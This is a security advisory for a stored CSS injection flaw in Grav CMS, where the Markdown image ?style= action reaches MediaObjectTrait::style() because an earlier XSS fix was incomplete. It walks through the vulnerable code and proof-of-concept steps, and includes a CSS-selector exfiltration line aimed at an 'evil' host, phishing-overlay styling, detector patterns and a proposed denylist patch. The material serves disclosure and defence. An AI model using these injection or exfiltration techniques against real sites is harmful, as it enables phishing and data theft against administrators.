CVE-2026-55890: Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr
Summary The fix for GHSA-r7fx-8g49-7hhr / CVE-2026-42841 (Stored XSS via Markdown media attribute() action) is incomplete. The maintainer patched MediaObjectTrait::attribute() to deny dangerous attribute names (event handlers, style, xmlns, srcdoc, formaction) but the sibling MediaObjectTrait::style() method is reachable through the same Markdown excerpt-action pipeline and writes editor-controlled strings straight…
Published Jun 18, 2026
Affected packages
getgrav/grav
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.0.0-rc.8
- Fixed in
- 2.0.0-rc.9
- Check
composer show getgrav/grav
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The fix for GHSA-r7fx-8g49-7hhr / CVE-2026-42841 (Stored XSS via Markdown media attribute() action) is incomplete. The maintainer patched MediaObjectTrait::attribute() to deny dangerous attribute names (event handlers, style, xmlns, srcdoc, formaction) but the sibling MediaObjectTrait::style() method is reachable through the same Markdown excerpt-action pipeline and writes editor-controlled strings straight into the rendered `` attribute with no sanitization.
Any user with admin.pages permission (e.g. an editor) can save Markdown like:
which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue — the fix simply patched the attribute() entry point and missed the style() sibling.
Affected versions
Vulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):
| Branch / tag | `MediaObjectTrait::style()` | | `develop` (`f4c0f42`) | unpatched | | `2.0` (`96e1d2d`) | unpatched | | `2.0.0-rc.8` (latest 2.0 RC tag) | unpatched | | `1.7.52` (latest 1.7 stable) | unpatched |
Per SECURITY.md, this advisory targets the 2.0 line (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy).
Trust boundary
Per the project's SECURITY.md:
A vulnerability is when an actor can escape the trust scope of their role: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.
An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is across the trust boundary — the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).
Details
Original GHSA-r7fx-8g49-7hhr fix (commit 5a12f9be8, 2026-04-23)
public function attribute($attribute = null, $value = '')
{
if (empty($attribute) || !is_string($attribute)) {
return $this;
}
if (!self::isSafeAttributeName($attribute)) {
return $this;
}
$this->attributes[$attribute] = $value;
return $this;
}
private static function isSafeAttributeName(string $name): bool
{
if (!preg_match('/^[A-Za-z][A-Za-z0-9_:.\-]*$/', $name)) {
return false;
}
$lower = strtolower($name);
if (str_starts_with($lower, 'on')) { // event handlers
return false;
}
$denylist = ['style', 'xmlns', 'srcdoc', 'formaction'];
return !in_array($lower, $denylist, true);
}style is the second-named entry on the denylist — the maintainer explicitly recognised that editor-supplied style was dangerous when arriving via the attribute() action. The fix simply didn't reach the parallel sink.
The unpatched sibling: MediaObjectTrait::style() (line 519)
/**
* Allows to add an inline style attribute from Markdown or Twig
* Example: 
*/
public function style($style)
{
$this->styleAttributes[] = rtrim($style, ';') . ';';
return $this;
}The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (?style=…). The rtrim is for clean concatenation, not security.
$styleAttributes is concatenated and assigned to attributes['style'] in parsedownElement() (lines 242–251):
$style = '';
foreach ($this->styleAttributes as $key => $value) {
if (is_numeric($key)) { // editor-supplied entries are numeric-keyed
$style .= $value;
} else {
$style .= $key . ': ' . $value . ';';
}
}
if ($style) {
$attributes['style'] = $style;
}Parsedown then runs htmlspecialchars on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.
Source → sink trace
The Markdown processor wires query-string keys to method calls on the Medium object (system/src/Grav/Common/Page/Markdown/Excerpts.php:262):
foreach ($actions as $action) {
$matches = [];
if (preg_match('/\[(.*)\]/', (string) $action['params'], $matches)) {
$args = [explode(',', $matches[1])];
} else {
$args = explode(',', (string) $action['params']);
}
$medium = call_user_func_array([$medium, $action['method']], $args);
}?style=position:fixed;top:0;left:0 becomes $medium->style('position:fixed;top:0;left:0').
Save-side XSS detector misses the payload
AdminController::savePage() runs Security::detectXssFromArray() on data[content] before persisting (classes/plugin/AdminController.php:1402). All five default patterns miss the Markdown form:
on_events: requires<…on*=in source.invalid_protocols: requiresjavascript:/data:/etc. — the phishing-overlay payload uses none.moz_binding: requires-moz-binding:literally.html_inline_styles: requires<…style=…(url:|x:expression); Markdown source has no<and nourl:.dangerous_tags: requires<svg/<script/etc.
Save proceeds, the payload persists, the CSS is rendered to every viewer.
Impact
- Phishing overlay — full-viewport
position:fixedcovering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker's overlay. - UI redress / clickjacking — invisible overlays hijacking admin button clicks.
- CSS-selector data exfiltration —
input[value^="a"] { background: url(//evil/log?c=a) }against form fields the higher-privileged viewer interacts with. - Persistent admin-UI denial-of-service —
position:fixed; background:whitecovers the page until the offending content is removed by hand on the server.
The stored payload reaches every user who views the editor's page — including administrators previewing pending changes.
Proof of concept
A deterministic end-to-end PoC against a real Grav install ships with the finding (repro.sh). Steps:
- Log in as an editor (
admin.pages+admin.pages.update, noadmin.super). - Upload a benign image to a target page.
- Save the page with the Markdown payload
. - Visit the public page; observe the `` carrying the unsanitised CSS.
Suggested fix
Apply the same denylist + identifier-shape gate to style() that isSafeAttributeName() enforces for attribute():
public function style($style)
{
+ if (!is_string($style) || !self::isSafeStyleValue($style)) {
+ return $this;
+ }
$this->styleAttributes[] = rtrim($style, ';') . ';';
return $this;
}
+/**
+ * Editor-controlled style values arrive via Markdown `?style=…` and reach
+ * the rendered `` attribute verbatim. Limit to a conservative
+ * set of CSS that themes legitimately use from content (sizing, float,
+ * margin, etc.) and reject anything that opens a phishing-overlay or
+ * data-exfil primitive. Matches the spirit of the attribute() denylist
+ * from GHSA-r7fx-8g49-7hhr — same trust boundary, sibling sink.
+ */
+private static function isSafeStyleValue(string $css): bool
+{
+ $css = strtolower($css);
+ // Deny: phishing-overlay positioning, CSS-selector exfil sinks
+ // (background/content url(...)), expression() (legacy IE),
+ // -moz-binding (legacy FF), behavior: url() (IE).
+ $deny = ['position:', '@import', 'url(', 'expression(',
+ '-moz-binding', 'behavior:', 'z-index:', 'fixed', 'absolute'];
+ foreach ($deny as $needle) {
+ if (str_contains($css, $needle)) {
+ return false;
+ }
+ }
+ return (bool) preg_match('/^[A-Za-z0-9 :;%.,\-#\/]*$/', $css);
+}Alternatively, deprecate the Markdown ?style=… action entirely — themes can still set inline styles from PHP, but accepting attacker-controlled CSS from page content was always a footgun.
Defense in depth: extend Security::detectXss()'s html_inline_styles rule to also match Markdown-form ?style= query parameters in data[content] on save.
References
- Original advisory: GHSA-r7fx-8g49-7hhr
- Fix commit:
5a12f9be8(system/src/Grav/Common/Media/Traits/MediaObjectTrait.php) - Unpatched code:
system/src/Grav/Common/Media/Traits/MediaObjectTrait.phplines 519–524 - Project security policy:
SECURITY.md(trust-boundary severity model)
Credited to CyberKareem.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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